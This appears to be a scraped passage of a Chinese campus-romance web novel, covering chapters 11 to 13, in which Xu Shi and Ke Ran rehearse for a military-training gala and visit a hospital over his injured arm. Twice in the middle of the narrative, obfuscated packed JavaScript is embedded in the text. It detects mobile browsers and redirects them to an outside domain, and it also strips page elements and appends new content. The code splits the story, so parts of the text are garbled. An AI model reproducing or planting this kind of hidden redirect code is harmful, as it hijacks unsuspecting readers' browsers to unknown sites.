柯然，关于这件事是我的不对，也很抱歉因为我对她造成了不必要的关注，关于照片上的那个女生任何，希望大家不要再讨论。 方晴晴：看了没，这招绝啊，以己身入局，直接公开姓名，把注意力都转移到自己身上，引导讨论，这样你就可以免受争议。 许诗怔了怔，头发上的水湿哒哒掉在肩上，机械地擦了擦。 方晴晴：没想到他还挺有担当的，对了，你们今晚干嘛去了 xu：和高中校友，我们仨一起吃了个饭。 她打开学校论坛，里面讨论的她的热度降了下来，大多是奔着柯然去，说好帅，人品好，联系方式之类。 还有一条评论：今年预定的校草人选 她之前粗略看了眼被po到网上的照片，他坐在其中，周边都是穿着各色衣服的人，真有种出世绝尘，不在同一个维度的氛围感。 确实很帅，她承认。 那条被高赞的评论，是关于他的道歉内容。 看着发表时间，是她们一起去校医室那会，原来他看手机，是在澄清此事…… 其实人也不是这么坏。 和方晴晴有的没的聊了几句，晾干头发安然入眠。 军训井然有序地过去了几天，一眼望过去，开学那会儿白的都变成了黑红，经由这么多天，算是真正给自己磨练…成大学生。 教官在高地上讲话，有个军训晚会表演，需要从几班中抽选出一些人，陈教官和语言系的黄教官熟悉，说让他们两个班级组队，一起表演节目。 大概是含钢琴表演和诗歌朗诵，需要近十五人。 “你们班谁会钢琴的？”看起来和他们年龄不相上下的教官问。 会的都说不会，大部分人还是很内敛。 “我就知道你们不愿意，我另有人选，想争取这个名额的，得battle。” 教官逗得他们大笑。 “那是谁啊？”场下有人问。 “汉语言班的，一个帅小伙。”教官不吝赞美。 “不会是柯然吧，那个21级的校草。”校草还在热火朝天的投票中，柯然已经断层夺一，参加的那张照片，正是被偷拍的那张，不过把许诗的那部分截掉。 许诗听到名字抬头。 “没错是他，能跟校草同台演出的机会，你们还不争取，诗歌朗诵还有名额，选八个，都举手吧。” 教官已经准备好本子和笔，记录名单。 大多是女生，还有几个看似热爱朗诵的男生报名。 沈岑也举手，“许诗你要不要跟我一起，据说表演还可以加学分。” “我啊……”她有点犹豫。 没想到他还会乐器，钢琴，偶像也会钢琴，这么说起来，他俩还挺相似。 真的不是同一个人吗？ 她这几天翻找了柯柏坤所有微博，没有一点私生活的记录。 今早发了一张照片，写着某某高中，文案是，好好学习，好好体验。 这才确定了偶像是高中生。 说不上来失望，这几天也的确有点心不在焉，突破了成年那关，心事好像一下子如雨后春笋般多了起来。 她和偶像的距离，越来越远了…… 都说是可远观不可亵玩焉，这下才深刻体会到星光与尘埃的区别。 “想什么呢，去？”岑岑劝说。 “行，那去好好体验。” 11. 共鸣 教官把她们带到舞蹈室，时间急迫，离晚会还剩三天，遗憾说，“因为我们弹钢琴的同学手受伤了还没好，得找一个也会点音律，钢琴的同学帮忙试试音。” “改编的钢琴曲有点难，你们谁可以胜任？” 岑岑本想着举手的，无奈叹气，“这多好的相处机会，可惜我天生没有音感，许诗要不你去？”她怂恿。 “我？”她没想过要制造什么机遇和那人相处，况且前不久才将人打了，赶着上去，怕会惹人烦。 “我记得你自我介绍那会儿说，也会钢琴来着，要是你能选上，那我就有理由找借口看你，顺便见见他……”脸色一红，羞得捂脸。 呃…… “他真的是我的天菜，求求你了，就这一次，拜托拜托嘛。” 沈岑是邻家乖乖女形象，一汪水润的大眼睛扑闪扑闪的，让人心生怜爱，拒绝总显得她很狠心。 但她也只能狠心了，实在不想介入旁人两性关系。 正想说出抱歉，教官开口问，“谁是许诗？” “她是。”岑岑替她回答，“教官找你什么事？” 许诗摇头。 “弹钢琴那位同学说，问你要不要帮忙，说这事儿起因由你。”教官带话的，估摸这其中是不是有什么过节。 “那你愿不愿意？” 岑岑先声，“许诗！柯然直接要你帮忙呢！不过你们发生了啥？”她眼里闪过一丝艳羡。 这要怎么回答，把人给揍了？ 这人是求助还是特地要报复她。 “行，那我帮。” 随后和岑岑解释说，“有点过节，说来话长。” 岑岑默认是许诗因为柯然的无礼举动，而进行的合理报复。 竖起大拇指，“许诗你太厉害了，不亏是我们女生的榜样，那他以后会不会找你麻烦？” 许诗苦笑，她也不确定，按照那晚的相处，最后还帮她澄清，骨子里应该不是什么小心眼的人。 虽是这样想，但人的性格多变，这会儿明说受伤这事儿和她有关系，不知道背后又是怎么想。 摸摸岑岑的头。“没事的，法治社会。” 参加这次诗歌朗诵汉语言一班的同学也全部到齐。 许诗在人群中巡了几眼，没发现柯然。 “他怎么没来？”岑岑自问，随后又问教官，“柯然同学怎么没来？” 黄教官说，“他去准备钢琴，可能晚点才到。我们先进行练习朗诵。” 许诗心不在焉地点点头，分发下去诗歌印本。先按照每个人的音色挑选朗诵的类型，大概五首，三人分句演绎。 许诗拿到的是席慕容的《信仰》，岑岑拿到的是海子的《月光》。 分配结束之后，开始试读。 教官环视一圈，准备找个课代表，一眼看待许诗有着同龄人不一样的稳重冷静。 “那许同学先来给大家读一下，鉴于席慕容这位诗人的诗歌风格，区别于新生演讲时的激动澎湃，这次要你用相对平和，婉转，强烈的沉郁情感朗诵。”教官说道。 她看席慕容的诗还是初中的时候，那会儿文青都爱，是她们年代的共性，所以一下子就能接收到教官要的感觉。 “那我来试试。”站起来走到同学们面前。 我相信爱的本质一如生命的单纯与温柔 我相信所有的光与影的反射和相投 我相信满树的花朵只源于冰雪中的一粒种子 …… 我相信如果你愿与我一起去追溯在那遥远而谦卑的源头之上我们终于会互相明白 组后一字以平抚温和的秋叶飘落镜湖的轻柔，叩进在场所有人的心里。 虽然只是短短几句，但颇有情感的声音临摹了那诗中的画面，将情绪极为丰富的演绎出来。 空气中沉默了几秒，教官揉了揉眼睛，也是个性情中人，“念得不错，是个配音好苗子。” 许诗笑着鞠躬，她想分享自己的感悟，“一千个读者里面有一千个哈姆雷特，我们虽然是演绎中的人，但是也是接受情感渲染的主人，其实只要找准了情绪代入，都不会念得很差。创作者无一例外情绪丰沛，这个群体很值得我们学习，可以借助他们寻招灵感的方式，尽快帮助自己也融入其中。这是我的一点点心得。” 柯然兜手靠在门沿，在许诗开始朗诵那会儿就已经到了。 全程一字不差地听了进去，按照音乐人来说，这确实是万里挑一的音色，如果从小开始音乐培养，会是一个难得的歌手。 但真正没想到的是，她对文字的领会这么深刻独到。 从抱着好奇观看，再到刮目相看，柯然最后几乎是庄严站立，面前这个女孩，让他产生了想要深入交流的欲望。 从演唱会那次之后，他其实一直在寻找那个和他灵魂共振的女孩，很多人或喜欢颜值，或喜欢他的音乐，但能深究每个音符背后，并且从中找到合理与裂缝的，她是第一个。 只是没想到命运这么凑巧，让他在这里遇见了。 他笑了笑，带着点懒懒的松弛感走到她跟前，“不知道许同学所说这位学习的对象是谁呢，好让我们大家都学习。” 扫过她书包上的小卡，像是特地搜索的神情。 许诗几乎是被他吓了一跳，脸唰地一红，很明显他是故意问的，并且知道说的是谁。 “是啊，我们也很想知道。”岑岑一脸崇拜地盯着柯然说，明显活络了起来。 许诗清了清嗓子，庄重且认真，她不喜欢别人对她的偶像，以及追星行为带上有色眼镜。 而这句话正是对那个人说的。 “芸芸众生中的一个普通人，是谁不重要。” “很多人都说他是天之骄子，像是一束光忽然地照进了娱乐圈，从此佩戴上以许许多多标签，音乐人，偶像，更甚者说他流量小生，哗众取宠，好的坏的都有，但回应者表达总是缄默。” “因为深知世俗观念禁锢，努力不像成功那样广为人知，于是努力变得不值一提。” “我想，这是他默默耕耘的原因。” “放低姿态，用感受领会，用事实明辨，而不是人云亦云。” 说那番话时，她是几乎是压着抽泣说出来。 三年粉丝，即便柯柏坤只会在微博上分享风轻云淡的日常，但是黑粉确实无时无刻攻击，以至于她不得不深挖背后努力证据。 所以她敢在他们面前，绝对地捍卫他偶像，让那些轻蔑的人看看。 “嗯~”那人有点挑衅的意思。 “我想柯然同学以及各位也应该秉持这种正确的三观，谢谢大家。”最后一个冷冽的眼神盯着柯然，算是对他对自己偶像无礼的回击。 他还沉浸在那一番完美的剖析中，明明刚才把自己说尽人性光辉，这会儿点名批评，倒有种天堂地狱的意思。 没想到自己在她心中是这么正能量的形象。 无意与自己攀比，他一副谦卑态度稍稍弯下腰，“我自当和许同学看齐。” 许诗并没有对他的行为当作玩笑看待，一贯认真冷静地回应，“这并不属于自我感动。” 柯然站在它侧身，透过五黑羽睫，能看到她眼角挂着泪花，忽然间一股莫名的思绪涌上心头。 被她那份执着与赤忱感动。 原来那些被自己认为该独自消化的事，被放到 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这人说起话来怎么有人莫名一股火气。 许诗不和他争执，从他手里夺过谱子，试着弹了一下，不算难。 “那来吧大师。” 悠长的回荡在舞蹈室。 柯然背靠钢琴，闭眼凝神听着，“不对，再减一个调，放缓一秒。” 许诗照着他的节奏配合。 “不对，中间再慢点，等低音游入，再加速。” 许诗又调试了一遍群谱，大概前前后后磨了十几次，才找准那个音。 两人累了，席地坐下休息。 许诗这才发现这人的另外一面，表面看起来没个正经，没想到在这件事上力求完美。 “你以前深层学过音乐？”许诗问。 水瓶压在地上，手心施力，蹦地一声，被扭开，递给许诗。 “兴趣爱好，谈不上深层。” 许诗接过，惊讶与一个手肿的人单手开瓶子。 咕噜小闷一口，“谦虚了，至少学了十年起步。” 他呵笑，水从湿润的唇角滑落，流到喉结滚了滚，漫入短袖内，浸湿了一篇，依稀看到肌肉雏形。 许诗不好意思地挪开眼睛，脸上有些绯红。 那人看过来，双眸自带笑意，轻松如云间清风，又因年少炽热，多了一点烈。 “看来你才是懂音乐的那个，怎么，想往这行试试？” 许诗三连拒绝，“我之所以能悟出个大概，完全因为有人做得完美，让我容易理解。” “不会是你书包上那个佩戴面具的人吧，偶像？” 许诗不加掩饰，满眼自豪，“嗯，相当优秀的一个人，我都是从他那里学来的，有机会你真该见见，你们气质真的一模一样。” “免了，本人不追星。”他急于拒绝，又看许诗的眼神说了句，“但是不排斥追星。” 目光灼灼，在他眼里看不到对追星的偏见，好像是支持去做这样的事情。 许诗楞了楞。 这会儿岑岑吃完晚饭回来舞蹈室，拎了两瓶水，看到他们还在。 “你们这么勤奋，还不去吃饭啊？” 小跑地走到柯然旁边，“这是你的。” “许诗这是你的。” 柯然这会儿才看出她是那日新生开学，给自己递水的女生。 “我室友。”许诗认真看着柯然介绍说。 忽然间他好像明白了什么，尴尬一笑。 不会那封情书，就是…… 12. 阴差阳错 某人舌头顶腔似包着火，一脸你是不是故意的玩味看着许诗，少年的心思如夏日烈焰，愿不愿意都表露在那双澄澈的眼里，像一张亟待被描绘上缤纷色彩的白纸。 悠悠地凝着她，什么意思许诗有点猜不准，但某一刻面对炽热时，也的的确确产生了愧疚感。 那天他能决绝地扔掉情书，就证明了这事情他不会将就。只是不知道他为什么抗拒别人表达崇敬乃至爱意。 通俗意义上来说，这些是人性追求的一部分，但他好像并不需要，在给人渺茫的希冀和维持一个不错的形象之间，他选择了最极端的选择。 这个人……还真的挺有性格…… 等她想了一系列可能的原因之后，那人对她的疑问已经转变为轻蔑问候，“你可以的呀许诗”。 大概还在觉得这件事她在凑合。 她趁着岑岑专心摆弄钢琴的时候，给他表演了几分钟的默剧，只想表明前几天的误会已经澄清，并且也没有答应岑岑帮她牵线。 虽然别人对自己的看法不重要，但一个是自己的朋友，一个是有着偶像影子的替身，她实在是不想她们其中产生误会。 柯然看着她手舞足蹈的傻傻样子逗笑。 许诗卸下了一口气。 “好厉害，没想到你还会钢琴。”岑岑化身小迷妹蹲在柯然身侧，想拿过他手里还没开封的水，“你的手有伤，我帮你打开吧。” “谢了，我，我还有水。”他不知所措地闷了一口，神情有点僵硬。 许诗看着刚才还挑衅的样子，这会儿被拿捏住，还有点乖巧…… 见人拒绝，岑岑悻悻然，但依旧保持甜美笑容，试图融化那座冰山，“那我给你放在这里哦。” 许诗看着心都软了，再看那人，还是毫无人情味，只得哀叹一声，她去整理曲谱。 “我也想学钢琴，你们练习的时候，我可不可以在一旁听啊。”岑岑继续找话题。 许诗看似在认真扒着谱子，那边的谈话却是一字不漏地听了进去，竖起耳朵，她也想知道那人是怎么回应。 “行啊，多大的事儿，许诗来的时候，你就跟着呗。”他好像换了一种态度。 不知道是不是看错了，有这么一恍惚，许诗注意到他余光瞟向自己。 她慌得埋头连翻了几张曲谱。 “许诗，我跟你一起！”岑岑走过来抱着她胳膊，“那以后送水这样的事情，都交给我！为你们鞍前马后！” “以后有空一起就好，别的不用……”许诗说。 岑岑想了几秒，目光一直在柯然身上徘徊，明显开心很多，“没事的，我反正闲着也是闲着。” “嗯。”她佯装翻阅，以为柯然会直接拒绝，毕竟很多不符人情世故的事情都做了，没想到答应得这么快。 心里忽地沉下一截，或许，不是一厢情愿…… 回去宿舍路上，岑岑拉着许诗一起，笑容几乎是镌刻在她脸上。 她喜欢迎面而来的微风，享受当下心无旁骛，只与这一刻的自我与自然相交，但今天风寥寥，燥热无比，使她一下子烦闷起来。 有的没的低头踢着路上的小石子。 “你看起来怎么有心事的样子？”岑岑担心问。 “没事，刚才练琴有点累了。”她基本不会忽视内心感觉，也很少有闪烁其词的时候，但自从从舞蹈室出来之后，她能感觉到自己的状态不对。 “没事吧，要不去校医室看看？” “没事，休息一会儿就好了。” “岑岑我问你，你是怎么确定自己真的喜欢上别人了？” 岑岑看她迷迷糊糊的样子，笑说，“这其实很明显，当你发现和某人在一起之后，生活状态都产生了某些高情绪化的反应之后，大概是这人给你带来了某种影响。” 又想了下，“比如柯然，我第一眼就喜欢上了，你不知道，那会儿他坐在校园一角，周围嘈杂不已，但是你只能看到他，好像宇宙中心围着他转动……” “多巴胺的分泌，每次见到他都很开心！” 许诗能看出来，说到那人的名字时，她眼里明亮有光，坦荡大方，完全不像日常小女生性格。 “那你呢，许诗你有没有喜欢的人？” 这话那人也问过。 “我？应该是没有。有欣赏的人，这应该不算？” 少女的心思像烟雨朦胧的南方，连月不开的乌云，一忽然飘进来了许多雾霭。 岑岑犯难了，“我也不知道，要是偶像那些和自己生活轨迹天差地别的，应该不算？” 许诗甩甩脑袋，尽量让自己不去瞎想。 “我们药店看看吧，你说他手受伤了，涂什么药比较好？” “许诗？” 没人回答。 “还说你没心事，是不是因为之前那件事，你还没原谅他？要是不想陪我去，我可以一个人去的。” 她在回着老许消息，说明天石教授有空，喊她有空拜访拜访。 回了句“谨遵父命”。 “没事那我陪你去。” “我就知道你对我最啦！” —— 男生宿舍楼西区。 “你这手怎么越发严重了？”梁康奇围着他转，从见面那天一眼看出来他的身份起，就已经完完全全成为了柯然的小迷弟。 两人偶尔还交流音乐上的见闻，即便音乐风格不同，好在很多东西都是相通的。 宿舍里的其他人问:什么东西是相通的？ 梁康奇:这你就不懂了吧，不相通的人，说了也不懂。 “之前疯狂练琴的时候，不小心把筋骨给伤了好好弹没事，但再次受伤得个把月才能恢复。” “我来我来。”梁康奇劝他别动，拧开药水给人涂上。 “两个大男人，我来。”柯然嫌弃啧啧啧。 小时候被他妈罚着日夜练琴，没长扭曲，就已经是好的了。 梁康奇又问，“培养从娃娃抓起，阿姨还真是前沿。” 往伤口轻轻按压，让药渗入，麻麻的痛，冷汗渗出几滴。 他嗤笑，“同龄人都在玩耍，我被关在房间里练琴，从窗边看别的孩子快活，我带着泪你信不信。” “果然优秀的人都要承受别人难以承受的孤独。” 后来在十五岁，他妈和他爸因为三观不和和平离婚，这才慢慢脱离控制，但不知不觉地音乐早已成为了身体的一部分。 即便现在王爱莲女士没要求他，自知也无法一天不摸音符。 有时候在想，王爱莲女士是不是在怀他的时候就已经摸清楚了他喜欢什么，以致于这恐怕是他一辈子都不会丢掉的爱好。 王爱莲女士常年居住国外，每每一听到他要举办什么音乐会，见面会都第一个飞回来，各种人形立牌，周边全整上，追星人眼里的大粉，他妈当之无愧。 反观他爸，就说了句演出顺利。 梁康奇说他还挺羡慕这样的家庭范围，没有因为离婚对孩子造成不良影响。 促成她俩最后离婚的，其实是他，强扭的瓜不甜，不必要因为自己将他们的幸福帮助。 但幸运的是，在成长路上，父爱母爱确实一点没少。 “我看你这手得那点冰敷，我跟你去药店拿个冰袋，准有用。” 许诗和岑岑正找用什么药好。 按理说伤的程度几天就能好，下午看好像还严重了，出于愧疚心理，许诗觉得关心下比较好。 找了很多铁打损伤的药，基本和校医室开得不差。 “然哥，你看那是不是给你递情书的妹妹！”梁康奇一眼就看到了这个高挑纤瘦的大美女，“未来京大的校花，可多人在关注呢。” 柯然往内深深一瞥，给梁康奇来了一拳，“什么递情书妹妹，说话注意点。” 他再仔细趴着透明剥离窗一瞄，“好像是铁打损伤的膏药，不会是给然哥你送的吧。不过她怎么知道你受伤了，难不成搞跟踪那套？” “得了，给我买几袋冰去。”边说着边往树荫下走，倚靠在大树下，掠过的风吹着头顶发梢，柔柔的散乱。 这个位置刚好挡住出门口视角。 梁康奇不服，“躲着这儿干嘛？” 柯然给他虚晃一拳，“大树下好乘凉，你懂什么。”眼不离看着那门口。 “不儿，我陪你下来，自己咋不去。” “我，我这不是手受伤，不去我就把你穿那件衣服假签名说出去。”他贱兮兮给人摆了一道。 “好样的然哥！” “回来！” “有什么吩咐？” 他挠着耳腮，声如虫蝇，混沌不知道说些啥，“你，看看她在找什么。” “大声点然哥，听不到。” “行了，快去吧。”给人推了走。 梁康奇本来就长得不太正气，这会儿直勾勾地盯着人家女孩子看，要不是在京大，准被当做流氓处理。 坏在他有点脸盲，两个美女站在一起，根本分不清谁是送情书那妹妹。 “许诗，你看，他好像是柯然的同班同学，还是室友呢。” 许诗想问，你连这也知道？ “我都打听过。”岑岑骄傲地说。 许诗竖起了个大拇指。 “妹妹好妹妹好。”他一脸傻笑，说话自带rap腔调。 许诗一样就看了出来，“喜欢说唱？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765192|174546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妹妹有眼光！这里是wolf梁康奇！” 她们尴尬笑笑，低头继续选药。 “梁同学，能不能麻烦你把这药膏给你们班的柯然同学。”岑岑双手捧过膏药，羞涩问。 “行啊，然哥的手一时半会好不了，喊我下来买点冰袋敷敷。你给我吧，我话准帮你带到！” 许诗往后退了一步，给他们腾出空间，捏着手里的药看说明，人清冷得跟着室内二十四度的空调温度。 梁康奇扫了一样，这女孩子真是好看，就是有点面瘫脸，看起来不好对付的样子。 “那先这样。”他嘻嘻哈哈朝人挥手走了。 “谢谢啊。”岑岑目送他走。 “许诗，你说柯然会不会接受我的药，毕竟刚才递水给他都拒绝了……” 她放下药膏，安慰说，“我也不知道，不过你想送就送了，不要考虑这么多，自己开心就行。” “嗯嗯，许诗你真好。” 等看到人走后，柯然才大树旁出来。 梁康奇偷笑着跑去，一脸羡慕表情，药瓶袋子抛上抛下，扔过去，“有好看妹妹宠，真是羡煞旁人。” 柯然接上，直接拍他肩，袋子还没落下，用手肘给他一肘。 “舍不得了吧，然哥你真有福气，等什么时候我跟那面瘫妹妹也说道说道。” “嘀嘀咕咕说些啥呢。”他拆开袋子，密密地装着十几种，大多消肿化瘀的药。 梁康奇一拍脑门，“冰袋忘记买了。” 人大步流星走，甩着单臂，轻松闲逸。 “冰袋不要了？“梁康奇在后面喊。 他举起药袋子，在阳光的照射下发出六芒星光，“不用了。” 出于人道关心，在听到人受伤越来越严重的消息后，许诗觉得有必要问候一下。 回到宿舍立马打开微信，动作迅捷不亚于美洲豹，看着那人头像，愣了几秒，在脑海里反反复复想了几遍才敲下字。 xu：你的手没事吧？ 柯然这会儿研究药怎么用，听到手机震动，捞起来。 嘴角勾起一抹自信笑容。 才回到宿舍，就忍不住关心了？ triE：没事，差不多好了。 拿起来膏药，意犹未尽地欣赏了一番。 xu：这么久没好怕是要落下病根，去医院拍X光看看？ 想陪我一起去？ 这边又啪嗒啪嗒输入，删删改改。 “傻笑什么呢？和妹妹聊天？“梁康奇又跑去药店给他买了冰袋。 柯然看了眼，若有所思，“谢了，然哥请你吃雪糕，冰袋留着冰冻。” “啥意思，不要了？” 他一脸可怜兮兮的模样，笑着痛，“我发现确实严重了，得去医院拍片。” “那行吧，我陪你去。“说着开始差人走了。 “别，不麻烦狼哥，我呢，想自个去。” 梁康奇寻思着手都不方便，医院人多复杂的…… 忽然一悟，“妹妹也去？” 他撩眉，傲娇地“嗯”了声。 “行啊你小子，去吧去吧。“说完开始啃那冰袋，”可热死哥了。” triE:我到了，你在哪，要不要去接你。 头顶炽热，从来没打伞的他找梁康奇拿了把伞，正好够两个人撑。 xu:等我几分钟。 她早上下课匆匆忙忙拜访石老师，这会儿刚出出，书本那些还没放回宿舍，就收到了消息。 因为岑岑的关系，她本不想和柯然一起去，就建议喊岑岑陪他去。 谁知道那人直接给她打微信电话，三言两语说了这是她的因，什么果也得她自己来看一下。 语气听着好像还生气了。 最后游说加强制那意思，她也只能好人做到底。 反正总有点那奇怪，她觉得大概需要让岑岑知晓此事，又怕她多想，最后问了方晴晴。 被她一通说，这事有什么好纠结的，顺其自然，况且两人还没成为男女朋友，怎么整得要报备一样。 她左右想了想，最后还是和岑岑说了。 “他，只找你吗……”可见失落。 “这事儿因我而起的，自是要担责，要不你陪我去？”许诗不知道怎么解释，想哄小孩一样逗她。 “不，不了，你去吧，有什么事情告诉我就好了……”说完就带门出去了。 早上几节课岑岑都没和她说话。 因此她今天心情也不是很好。 转角看到那人在校门口等着，淡黄卡通T恤，宽松牛仔中裤，还撑着粉红色的伞，元气多巴胺。 许诗眼一热，拽近背包低头走过去。 13. 好感 京大不在市中心，从学校坐公交要八个站才到市人民医院，两人在阳光下打着伞并排站，没说话，看起来像不认识的两人。 柯然接近一米九的身高，堪堪遮住了许诗手臂以下的烈阳，他偶尔左右看看，搞些小动作，想着这人怎么开始不说话了，刚才还给他送了这么多药，玩欲擒故纵？ 哥什么时候没见过，这种把戏他一看就懂。行呀，要玩就陪你玩。 两人像是演着一二三木头人的游戏。公交车不准时已经成为了京大人人吐槽的地方，直到半个小时后果，有人终于遭不住了。 不是不说话会闷死，是今天不知为何，他小心思特别活跃，根本绷不住。 风过无痕地往许诗那边看了无数次，一瞥人正不动如松，清冷得周围的风凉飕飕。 过往有小伙子走过想要个微信，又怕被泼冷水，想着这么好看的女孩子，哪里轮得到他们肖想，只能遗憾地走开了。 也几个胆子大的，朝这边靠过，微信加好友二维码划了出来，忽然感受到头顶上一股气压威迫，仔细一看旁边这大帅哥。 柯然警告的眼神不带一丝友善，单手揣裤兜，警告式地看着那俩人。 仿佛敢过来，就给你就地把头给拧了那意思。 美女配帅哥，天造地设，于是麻溜地跑了。 许诗不知道发生了啥，这会儿还在搜索是寡骨科还是皮肤科好。 柯然偷偷一瞥，嘴角意会地笑了。怎么会不在意，这会儿连挂什么科都帮自己想好了。虽然人故意高冷，但这种背后给温暖的做法，也算是一种特别的关系和链接吧。 他想着想着就乐了起来。 这会儿一个男的直朝他们走过来，许诗这会儿还在看着医院路线，没注意，到她跟前吓了一条。 “同学，请问去植物园该乘坐哪一路公交，我新生，还是第一次坐，不太懂。” 她抬头扫了眼，是个全身穿着黑色衣服的男生，京大地段不好，新生不知出行方式也正常。 没多想，直接用手机帮他在校园论坛上搜索，给他看，“这里显示着做58路，三个站。” 那男生凑近，离许诗只有两拳之隔，有意无意盯着胸脯的位置看，“这样啊，但是我……” 她忽然感受到不好的凝视，下意识往后退了退，赶紧捂住胸口位置。 那男的又装傻充愣，别开眼睛，“不好意思同学，吓到你了，我是想看清楚在哪里……” 今天她穿了件一字肩紧身衣，平时凸线完全展示出来，特别清冷禁欲。 这样的蠢话谁信，分明就是不怀好意！ 还没等给那男的教训，一双温热的手将她拉开，护在身后，如彩虹般色彩的身影映入眼帘，像一颗彩虹糖？ 柯然顶了顶腔内，看起来很不好惹，“看什么，大学生了，自己都不会找，以后干脆别出门得了，实在不行退学？”语气愤怒，仿佛下一秒真敢把人头拧下来。 许诗还没见过他发火，即便她把人伤得要去医院，也只有轻飘飘的“责任到人”。 因为岑岑的原因，今天她故意不和柯然接触，原以为两人就这么跟陌生人顺路一起走，无相交，无对话，更无…… 少女的心思因为一个举动又棉多了起来。 但是这件事她不想让柯然出头。 绕过柯然，直视那男，毫无怯懦，“打着问路拙劣的借口，掩藏龌龊的内心，我知道你在想什么，这次没抓到你的把柄，不要以为每次都能捞着好处，往后再敢算流氓，小心我的拳头！” 她抱着拳头关节嘎吱响，体型比不上，但在她身上撒发出的勇猛无畏，让那男的一下子不知所措。 “我……” 柯然顺势抬起伤臂，“看到了吧。” 厚重沉闷的从那男的头颅发出，他用的是受伤的手，但力气不比平常举重轻。 “你要耍流氓，我也看不过去。”话必又给他来了一锤。 “我错了我错了，大哥大姐饶命，能不能别，别上报学校，要是被退学我就完蛋了。” “吵死了。”柯然挠着双耳，很是不耐烦。 “你想怎么做？”问许诗。 许诗也不想把这件事闹大，看在他承认的份上，冷冷的说了句“滚”。 柯然愣了愣，平常文文静静的女孩子，性子也够好的。 “以后再做这事儿，可就逃不了了。快不快滚！” “没事吧。”他问许诗。 “我在想是不是太轻易放走他了，应该逮他去教务处！”许诗愤怒说，又看了看他的手，刚才给人揍的那两拳，看起来更加严重了。 察觉到她关心，原来是担心错过他去医院的时间。 轻轻松松地挥了挥，“下次不用考虑这么多，有人犯了浑，能报仇的就当场报仇。” 许诗想了想，觉得他说得没错，表面开玩笑，内心些许担心说，“那你的手不要了，怎么不用另外一边教训他。” 他晃了晃雨伞，痞帅的脸没个正经，故意装可怜，“打着伞呢。” “撑麻了。” 许诗噗嗤一笑，抬头凝他一眼，将手里的雨伞收起，“给我吧，都快忘记你是个病人了。” “你这才想起来啊。”那人嗔怪，把手举高，许诗够不着，两人胡乱扒拉了好一会儿。 “故意的？”许诗回过头瞪他。 他笑意得意凝滞在脸上，故作一本正经，“没，手酸手酸。” 公交车驶入候车位置，学生排队上车，得到他们两个时，只剩了一个位置。 许诗敛了敛座位，“你手不舒服，你坐吧。” 柯然跟在她后面上去，满目惊讶，我是男生，你是女生诶！ 奈何她的双眼极为坚定，好像在她心目中没有男女之分，只有个体强弱之别。 “这不妥，我不坐。”一车子的学生，要是他真的坐下了，那多难为情，况且看她瘦瘦弱弱的，肯定站不了多久。 “你们坐不坐的？”旁边一位大着肚子的姐姐比他们后到。 “您坐，您坐。”两人一同开口。 “谢谢你们啊。” 许诗脸一红，转过身看窗外，车水马龙人来人往，相比安静的学校，闹市其实更具生命力。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765193|174546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柯然在她身后，一同望着透明玻璃窗外的景色，偶尔也看看她。 车沿途开了一路，终于到了骨科医院站。 医生眉色严肃，“再不早点来，你这手恐怕是要废了。” 许诗一脸不可相信，她明明才轻轻打了一下，这么就到严重的程度，愧疚感一下子袭心而上。 “怎么严重吗，那要怎么治……” “先去拍个X光，要怎么治疗，看了报告结果才知道。” “没事，小的时候练琴伤到了筋骨，和你没关。”柯然安慰她。 “女朋友是吧？”医生扫了一眼两人，指着两人，“女生帮忙缴费，你在这儿我捏骨头看看。” “不是！不是女朋友！”许诗立马开口，尴尬地看着柯然，只瞧他玩味笑着，很享受的样子。 解释啊，你只能不解释。许诗恼他。 “医生，回来再捏行不行，我想跟她一起去。”那人岔开话题。 “不行。”医生仔细检查他的骨骼位置，“你们这些小年轻，去哪里都要跟着陪着。” 许诗懒得听他乱扯，甩上书包走了。 交完费用，她在外面等着X光检查，百无聊赖地走了几圈。 “叫家属进来。”医生说。 “柯然家属，医生找你。”护士传喊。 一整个楼道都是那护士的声音，她羞得捂住脸赶紧跑进去。 见柯然和医生解释，“我们是朋友，不是什么家属……” 医生抬眼哼笑，管你们什么关系，开始交代，“小手臂是伤到了筋骨，还好没什么大碍，但要恢复和之前一样，得不能干重活，不能用力，两个月时间后来复查。” “不是吧医生，要两个月啊？”他几乎是嚎叫。 到时候练琴和新生晚会怎么办？ “伤筋动骨一百天，你这都算好的了。”医生把报告和药递给许诗，“盯着他点，这小子皮得很！” 许诗一愣，“好……”僵直地扶着人走出去。 俩人又开始了长时间的沉默。 “你，还好吗，你之前手有旧伤，我不知道……” 柯然看她愧疚模样，脸上没有一丝责怪神情，反倒安慰她，“多大点事儿，医生都说能好。” “但是新生晚会钢琴表演得靠你了。” 俩人一搀一扶走。 “我可以啊，这不是很难的编曲，你要是上不了，我可以的。” 她其实第一次听就喜欢，总觉得编曲以及风格都有种熟悉感，那天在舞蹈室录了几个版本，每次睡觉她都要听上几遍，特别好入眠。 发给方晴晴，她还惊叹说那高冷帅哥居然是个天才。 “这么有信心？”他正色看着许诗，“好像在你看来什么事都不是事，就像刚才有人犯浑，换做别的女孩子可能会哭脸，害怕，但是你相反冷静理智。” “又比如之前，我害你被人发到校园论坛上去，但今天你不计前嫌和我看医生……” 他慢慢回想认识的每一天，每一件事。眼神里都全是欣赏。 “许诗，你真的让人很好奇。”